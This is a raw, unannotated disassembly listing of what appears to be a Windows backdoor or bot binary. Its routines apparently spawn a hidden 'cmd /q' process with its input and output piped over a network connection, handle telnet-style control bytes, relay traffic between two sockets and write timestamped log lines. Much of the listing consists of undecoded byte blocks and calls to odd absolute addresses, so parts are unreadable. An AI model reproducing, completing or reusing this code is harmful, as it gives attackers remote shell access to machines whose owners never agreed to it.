var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2670C98h
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEB8[eax], ecx
		nop
		call	near ptr 2670999h
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------

loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_434474
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C

loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032

loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------

loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344B4
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAF8C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------

loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		nop
		call	near ptr 27A011Eh
		jmp	short loc_41117C
; ---------------------------------------------------------------------------

loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx

loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_4111C8

loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h
		dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	9C15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEB4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 227ED89h
		dd 0C84D8B90h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 227ECB4h,	90EDEB90h
		dd 27F4ABE8h, 858D5002h, 0FFFFFD2Ch, 43452468h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022DECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0BCB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0EBAEE853h, 5390022Dh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAF8Ch, 187FC085h
		dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h
		dd 22DEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 2DEAE7E8h, 106A9002h, 53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh,	50004CAFh
		dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFC415FFh
		dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 0EA4EE890h, 458D022Dh, 50106AE8h, 1C15FF57h,	83004CAFh
		dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h,	4CB00C15h
		dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2DE9DFE8h, 4006802h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h
		dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 0E982E890h, 36FF022Dh, 0B00C15FFh, 75FF004Ch
		dd 9D84E808h, 5359FFFFh, 2DE96BE8h
		db 2, 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]

loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4

loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2

loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE60
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791

loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE60
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC

loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 15E89000h
		dd 390227E8h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 2DE7CBE8h, 458D9002h
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 5415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	5415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFA015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 27E74FE8h, 8DFF9002h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 90000001h, 27E71BE8h, 858D5302h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Dh, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh
		dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF4C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB00C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 0E406E853h, 6890022Dh
		dd 3E8h, 0E3FAE890h, 0E8570227h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 27A028Ch
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 2680B81h
		nop
		lea	eax, [ebp-114h]
		push	offset asc_434E54 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------

loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E24
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h

loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax

loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 0BB004Ch, 6A000002h,	0E2AAE808h, 0FF900227h,	4CAEF815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434E84h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h
		dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
		dd 2DE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h
		db 2 dup(0), 83h
		db 0C4h			; DATA XREF: sub_542C3C+91D0o
		dd 45C7660Ch, 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch
		dd 0E6458966h, 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h
		dd 4589026Ah, 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h
		dd 815FF5Dh, 50004CAFh,	0FD4C858Dh, 0F468FFFFh,	50004357h
		dd 9821E8h, 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch
		dd 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh
		dd 0C483FFFFh, 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h
		dd 0FF9371E8h, 565959FFh, 0DF56E890h, 458B022Dh, 69106AD0h
		dd 234C0h, 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh
		dd 0F883004Ch, 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch
		dd 4357C868h, 0A3E85000h, 83000097h, 75390CC4h,	562075D8h
		dd 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h
		dd 0E8FFFFFFh, 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh
		dd 59000030h, 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h
		dd 0D1E89056h, 56022DDEh, 56E0458Dh, 8D565650h,	46AF845h
		dd 16850h, 0FF579800h, 4CAF2015h, 0FFF88300h, 15FF6475h
		dd 4CAF08h, 4C858D50h, 68FFFFFDh, 435798h, 9720E850h, 0C4830000h
